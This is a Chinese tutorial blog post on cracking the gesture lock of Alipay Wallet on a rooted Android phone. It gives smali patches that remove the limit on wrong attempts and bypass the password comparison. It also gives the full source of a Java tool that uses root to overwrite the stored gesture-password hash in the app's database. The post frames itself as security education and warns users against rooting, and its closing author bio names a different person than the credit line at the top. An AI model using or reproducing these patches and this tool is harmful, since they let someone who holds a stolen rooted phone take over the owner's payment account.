支付宝钱包手势密码破解实战 via:@闵小奇

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背景

随着移动互联网的普及以及手机屏幕越做越大等特点,在移动设备上购物、消费已是人们不可或缺的一个生活习惯了。随着这股浪潮的兴起,安全、便捷的移动支付需求也越来越大。因此,各大互联网公司纷纷推出了其移动支付平台。其中,用的比较多的要数腾讯的微信和阿里的支付宝钱包了。就我而言,平时和同事一起出去AA吃饭,下班回家打车等日常生活都已经离不开这两个支付平台了。

正所谓树大招风,移动支付平台的兴起,也给众多一直徘徊在网络阴暗地带的黑客们又一次重生的机会。因为移动平台刚刚兴起,人们对移动平台的安全认识度还不够。就拿我身边的很多朋友来说,他们一买来手机就开始root之后卸载预装软件,下载游戏外挂等等。今天,我们就以破解支付宝钱包的手势密码为例,来深入了解下android系统上的一些安全知识,希望能引起人们对移动平台安全的重视。

在此申明:以下文章涉及的代码与分析内容仅供android系统安全知识的学习和交流使用,任何个人或组织不得使用文中提到的技术和代码做违法犯罪活动,否则由此引发的任何后果与法律责任本人概不负责。

 

实验环境

红米TD

MIUI-JHACNBA13.0(已越狱)

支付宝钱包8.1.0.043001版

 

使用工具

APK IDE

Smali.jar

Ddms

SQLite Expert

应用宝

 

程序分析

准备阶段

安装完支付宝钱包之后,运行软件,我这里选择淘宝帐号登录,界面如图1所示

 1.png

1

登录之后,设置手势密码,如图2所示

 2.png

2

完成上述两步之后,退出支付宝进程。用腾讯应用宝定位到支付宝的安装目录datadatacom.eg.android.AlipayGphone,查看目录结构如图3所示

 3.png

3

 

实战开始  破解手势密码错误次数限制

看到图3所示的目录结构,猜测databases目录下的*.dB数据库文件就是用来保存上述我们设置的密码的。因此,我们使用应用宝的导出功能将databases目录导出到本地。SQLite Expert工具打开所有的dB文件,分析发现alipayclient.db数据库中的userinfo中保存了用户名、输入错误次数、手势密码等详细信息,如图4所示。其中gestureErrorNum字段应该就是保存了手势密码输入错误的次数了,很明显这里已经被加密了。

 4.png

4

使用APK IDE对支付宝的安装包进行解包分析。解包完成之后,搜索setgestureErrorNum字样,结果如图5所示。

 5.png

5

经过大致分析,UserInfoDao.smali文件中的addUserInfo函数比较可疑,截取其中一段设置手势密码错误次数的代码如下:

invoke-virtual {v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGestureErrorNum()Ljava/lang/String;

move-result-object v1 

#调用getGestureErrorNum函数获得未加密的错误次数,并保存到v1寄存器

 

invoke-virtual {v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getUserId()Ljava/lang/String;

move-result-object v2

#调用getUserId函数获得user id,并保存到v2寄存器

 

invoke-static {v2}, Lcom/alipay/mobile/security/gesture/util/GesutreContainUtil;->get8BytesStr(Ljava/lang/String;)Ljava/lang/String;

move-result-object v2

#获取user id的前8个字节,保存到v2寄存器

 

invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/Des;->encrypt(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;

move-result-object v1

#user id的前8字节作为key调用des加密错误次数字符串,并保存到v1寄存器

 

invoke-virtual {v0, v1}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->setGestureErrorNum(Ljava/lang/String;)V

#调用setGestureErrorNum函数,将加密的字符串保存

通过对上述代码的分析得知,第一次getGestureErrorNum的调用取出的错误次数应该是未加密的字符串,添加log代码验证,代码如图6所示

 6.png

6

保存修改的smali文件,重新编译打包,安装完成之后,输入错误的手势密码,log输出数字依次递增。最后一次输入正确的手势密码,错误次数重新归0LogCat捕捉到的日志如图7所示

 7.png

7

程序分析到这里,我不禁猜测,在错误次数未加密前,把v1寄存器的值设置为字符串“0”是不是就可以骗过支付宝而可以无限次的输入手势密码了呢?于是乎,我又开始了下面的验证,代码如图8所示

 8.png

8

编译打包,重新安装支付宝,输入错误的手势密码,发现5错误之后程序还是让我们重新登录。看来我们这里设置错误次数已经晚了,于是乎,继续搜索调用addUserInfo函数来加密gestureErrorNum的地方。其中,AlipayPattern.smali文件settingGestureError函数引起了我的注意。函数代码如下:

.method public settingGestureError(Lcom/alipay/mobile/framework/app/ui/BaseActivity;Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;I)V

.locals 1

new-instance v0, Ljava/lang/StringBuilder; #初始化StringBuilder实例

 

invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V

 

invoke-virtual {v0, p3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;

#p3是一个I类型的整型变量,调用StringBuilder. append赋值

 

move-result-object v0

 

invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

 

move-result-object v0 #调用toString函数转换成字符串类型,赋给v0

 

invoke-virtual {p2, v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->setGestureErrorNum(Ljava/lang/String;)V #调用setGestureErrorNum设置未加密的错误次数字符串

 

invoke-static {}, Lcom/alipay/mobile/framework/AlipayApplication;->getInstance()Lcom/alipay/mobile/framework/AlipayApplication;

 

move-result-object v0

 

invoke-static {v0}, Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;->getInstance(Landroid/content/Context;)Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;

 

move-result-object v0

 

invoke-virtual {v0, p2}, Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;->addUserInfo(Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;)Z 

#调用SecurityDbHelper.addUserInfo函数加密、更新数据库

 

return-void

.end method

分析到这里,想必这里才是最原始的设置手势输入错误次数的地方吧,修改p3的值为0,测试代码如图9所示

 9.png

9

继续打包、编译、测试。随意输入错误的手势密码,支付宝始终显示“密码错误,还可以输入5次”字样,如图10。

 10.png

10

至此,手势密码中的错误次数限制已经被我们解除了。理论上来说,我们可以使用穷举法来获取支付宝的手势密码。但是,作为一名分分钟几百万上下的大黑阔来说,使用穷举法来获得密码这种方式,显然是在浪费生命和金钱呀。

 

越战越勇 ? 查找关键跳转

对于大黑阔们来说,只破解手势输入错误次数限制显然是不够的。下面我们以手势密码的存储展开来说起。查看alipayclient.db数据库的userinfo表可知,手势密码的存储字段为gesturePwd,搜索getGesturePwd函数得到如图11结果。

 11.png

11

搜索到的结果比较多,根据前面对手势密码错误次数限制的分析,这里可以排除几个文件,例如UserInfoDao.smali文件,它主要用来保存一些用户态的信息,可暂时跳过。剩下的smali文件,我们一个个分析过来。在这里我想说的一点是,逆向分析确实是很考验一个人耐心和细心的一件事情,一个恍惚就会迷失在浩瀚的汇编代码中,但是等到你找到关键的调用点,分析出核心的算法时,那么心境会豁然开朗,真是有种踏破铁鞋无觅处,得来全不费工夫的感脚。好了,扯远了,下面我们继续。

经过我的仔细分析,e.smali文件最有可能是比较输入密码的地方,双击上面e.smali文件的LINE 47,跳转到的是a函数。由于函数比较长,只贴关键部分,代码如下:

.method public final a(Ljava/lang/String;)V

.locals 4

 

invoke-virtual {p1}, Ljava/lang/String;->length()I #取输入字符串的长度

 

move-result v0  

 

sget v1, Lcom/alipay/mobile/security/gesture/component/LockView;->MINSELECTED:I

 

  if-lt v0, v1, :cond_1 #比较字符串长度

 

:try_start_0

iget-object v0, p0, Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo; #获取UserInfo对象

 

invoke-virtual {v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGesturePwd()Ljava/lang/String; #调用UserInfogetGesturePwd函数获得加密过的正确的手势密码

 

move-result-object v0

 

invoke-virtual {v0}, Ljava/lang/String;->length()I #取加密过的正确密码的长度

 

move-result v0

 

const/16 v1, 0x20

 

if-le v0, v1, :cond_0 #长度是否小于32

 

new-instance v0, Ljava/lang/StringBuilder;

 

invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V #初始化StringBuilder对象

 

invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

#将输入的明文手势密码赋值给StringBuilder对象

move-result-object v0

 

iget-object v1, p0, Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;

 

invoke-virtual {v1}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getUserId()Ljava/lang/String; #调用UserInfogetUserId函数获取user id

move-result-object v1

 

const-string/jumbo v2, “userInfo”

 

invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/Des;->encrypt(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; #调用des加密函数,以“userInfo”为key,加密user id字符串

move-result-object v1

 

invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

#将加密好的user id字符串附加到StringBuilder对象上

 

move-result-object v0

 

invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

 

move-result-object v0 

#StringBuilder对象(输入明文手势的密码 加密后的user id)转字符串,并赋值给v0寄存器

 

invoke-static {v0}, Lcom/alipay/mobile/security/gesture/util/SHA1;->sha1(Ljava/lang/String;)Ljava/lang/String;

#调用静态的sha1函数,计算出一个hash

move-result-object v0

 

:goto_0

iget-object v1, p0, Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;

 

invoke-virtual {v1}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGesturePwd()Ljava/lang/String; #调用UserInfogetGesturePwd函数获得加密过的正确的手势密码

move-result-object v1

 

invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

#比较输入的密码和正确的密码

move-result v0

 

if-eqz v0, :cond_1

很显然,上面这个if-eqz是关键,如果比较函数equals返回false,那么跳转到cond_1标签处。cond_1标签处的主要任务就是取当前输入错误的次数,在这个基础上加上1然后调用settingGestureError函数重新设置错误次数。如果两个字符串相等,那么调用settingGestureError函数把错误次数重新置为0

下面为了验证我们的猜测,进行如下两步操作:

1、在a函数中加入类似如图12的打印日志代码,这里未全部截图下来,其他地方留给读者自行添加。

 12..png

12

2if-eqz v0前patch v0,代码如图13所示。

 13.png

13

完成上述两步操作之后,保存修改过的smali文件,编译打包,重新安装支付宝钱包客户端,随意输入手势密码。这里引用大魔术师刘谦的一句话,“接下来就是见证奇迹的时刻”。在我们随意输入密码之后,熟悉的支付宝主界面出现在我们眼前,同时LogCat输出日志如图14所示。

 14.png

14

日志的组成大致如下:

第一行:用户输入的,还未加密的手势代码;

第二行:保存在数据库中正确的加密后的手势密码;

第三行:未加密的user id

第四行:采用des加密后的user id

第五行:拼接用户输入和加密后的user id

第六行:采用sha1算法计算出来的加密之后的用户输入的手势密码。

通过仔细的分析日志,我们从中可以得出两个结论:

1、真实的手势密码和我们输入的密码是不一样的,但是我们还是进入了支付宝的主界面,证明我们上面第2中修改的地方非常关键,从而也印证了e.smali文件的a函数确实是比较用户输入和真实密码的关键函数。

2、支付宝是将用户的手势操作转化成对应的数字,然后再做一定的加密处理之后保存到数据库中。比较用户输入的时候,是用相同的加密步骤对用户输入进行加密,再与数据库中保存的密码做比较。数字代码对应如图15所示

 15.png

15

程序分析到这里,我们已经清楚的明白了支付宝手势密码的加密过程和算法,并且通过修改关键跳转的方法,使得我们随意输入手势密码都可以进入支付宝主界面。

 

仔细思考 ? 还原手势密码?

回过头来仔细想想,手势密码的加密流程是这样的,用户输入+user id组成一个字符串,将该字符串经过sha1算法哈希之后得到另一个加密字符串即为手势密码。其中,user id字符串在alipayclient.db数据库的userinfo中的userId字段已经表明了,正确的手势密码gesturePwd字段也已经有了。虽然sha1算法不可逆,但是在我们的这个实例中,最长输入是9位,最短为4位,我们完全可以通过已知的信息,采用有限的穷举,就能得出正确的手势代码了。相信对于现在的4核乃至8cpu手机来说,这点计算应该是很轻松的。

但是,我们难道只能通过穷举来实现暴力破解吗?答案是否定的。其实我们完全可以自己构造一个输入,例如0123,采用和支付宝完全相同的加密流程得到手势密码。然后,通过修改userinfo表的gesturePwd字段内容为上面我们计算出来的手势密码,这样,就能实现随意修改手势密码的目的了。想法有了,下面我们编写代码来验证该方法是否可行。

 

代码实现

查看支付宝使用的sha1算法可知,该算法与支付宝的整体功能业务耦合度基本为0于是我将sha1算法所在的smali文件转换成jar包,然后导入到我的工程中,这样,就可以直接调用和支付宝完全相同的sha1算法了。程序代码如下所示:

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

 

setTitle(“支付宝手势密码修改器“);

szUerIdString = “”;

tvStatus = (TextView) findViewById(R.id.textStatus);

etEncryptUserid = (EditText) findViewById(R.id.editEncryptUserId);

etDecryptUserid = (EditText) findViewById(R.id.editDecrypUserId);

etMyPwd = (EditText) findViewById(R.id.editMyselfPwd);

btnOK = (Button) findViewById(R.id.btnSetting);

if (!RootUtils.hasRootPermission()) {

tvStatus.setText(“本程序只能在ROOT过的手机上运行!“);

            return;

        }

 if (!RootUtils.hasInstalledApp(MainActivity.this, “com.eg.android.AlipayGphone”)) {

 tvStatus.setText(“请确认您已经安装了支付宝钱包!“);

         return;

     }

 

String szUserId = getUserId();

if (!szUserId.isEmpty()) {

szUerIdString = szUserId;

etEncryptUserid.setText(szUserId);

tvStatus.setText(“读取user id成功,请输入自定义手势密码!“);

String szDecryptUserid = decryptUserid(szUserId, “userInfo”);

if (!szDecryptUserid.isEmpty()) {

etDecryptUserid.setText(szDecryptUserid);

}

else {

tvStatus.setText(“解密user id失败!“);

}

btnOK.setOnClickListener(new OnClickListener() {

            @Override

            public void onClick(View view) {

             String szPwd = etMyPwd.getText().toString();

             if (szPwd.isEmpty()) {

              Toast.makeText(MainActivity.this, “设置的自定义密码不能为空,请重新输入!“, Toast.LENGTH_LONG).show();

}

             else {

             StringBuilder sBuilder = new StringBuilder();

         sBuilder.append(szPwd);

         sBuilder.append(szUerIdString);

        

         String tmp = sBuilder.toString();

         String sha1 = com.alipay.mobile.security.gesture.util.SHA1.sha1(tmp);

         Log.v(TAG, sha1);

        

         if (!sha1.isEmpty()) {

         if (updateDatabaseGesturePwd(szUerIdString, sha1)) {

         tvStatus.setText(“设置自定义密码成功!“);

}

         else {

         tvStatus.setText(“设置自定义密码失败!“);

         }

         }

}

            }

        }); 

}

else {

tvStatus.setText(“获取user id失败!“);

}

}

获取user id和修改手势密码的代码如下:

// 获取加密的user id

private String getUserId()

{

String szRet = “”;

// 修改数据库文件的读写权限

RootUtils.RootCommand(“chmod 666 /data/data/com.eg.android.AlipayGphone/databases/alipayclient.db”); 

RootUtils.RootCommand(“chmod 666 /data/data/com.eg.android.AlipayGphone/databases/alipayclient.db-journal”); 

try {

Context context = createPackageContext(“com.eg.android.AlipayGphone”,  Context.CONTEXT_IGNORE_SECURITY);

SQLiteDatabase dB =context.openOrCreateDatabase(“alipayclient.db”, 0, null);

            Cursor cursor = db.rawQuery(“select * from userinfo”, null);

            if (cursor.moveToFirst()) {

szRet = cursor.getString(USER_ID_INDEX) ;

}

            db.close();

} catch (NameNotFoundException e1) {

            e1.printStackTrace();

        }

return szRet;

}

// 修改手势密码

private boolean updateDatabaseGesturePwd(String szUerId, String szPwd) {

boolean bRet = false;

if (szPwd.isEmpty() || szUerId.isEmpty()) {

return bRet;

}

try {

Context context = createPackageContext(“com.eg.android.AlipayGphone”,  Context.CONTEXT_IGNORE_SECURITY);

SQLiteDatabase dB =context.openOrCreateDatabase(“alipayclient.db”, 0, null);

ContentValues cv = new ContentValues();

cv.put(“gesturePwd”, szPwd);

String[] args = {String.valueOf(szUerId)};

int n = db.update(“userinfo”, cv, “userId=?”, args);

if (n> 0) {

bRet = true;

}

db.close();

} catch (NameNotFoundException e1) {

            e1.printStackTrace();

        }

return bRet;

}

最后,程序运行效果如图16所示

 16.png

16

输入自定义密码,点击确认,程序提示设置成功。此时,打开支付宝,输入我们的自定义手势代码即可解锁支付宝进入熟悉的主界面了。

 

后记

如上所述,通过修改支付宝钱包数据库来达到破解目的的方法是需要在已经root过的手机上才能使用的。设想一下这种情况,我的手机已经root,并且手机被盗。那么,除了手机上的艳照有可能泄露之外,小偷还可以通过修改支付宝的手势密码来登录我的支付宝,因此,造成直接的金钱损失也不是没有可能。

一般来说,普通用户日常使用的手机尽量不要去root,也不要随便去下载来历不明的软件和外挂。

#About Me

张小璋,野蛮生长成世界500强企业供应链金融产品经理的法语毕业生。微信公众号:张小璋碎碎念(ID: SylvainZhang )。
一直在互联网金融公司从事产品经理工作并负责互联网金融产品线,深耕互联网金融和区块链领域。「PMCAFF」、「人人都是产品经理」专栏作家、「PmTalk」签约作家。

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